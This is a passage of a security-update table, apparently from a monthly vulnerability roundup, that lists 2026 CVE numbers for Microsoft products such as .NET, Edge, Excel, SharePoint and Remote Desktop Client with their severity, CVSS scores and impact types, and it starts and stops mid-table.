Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  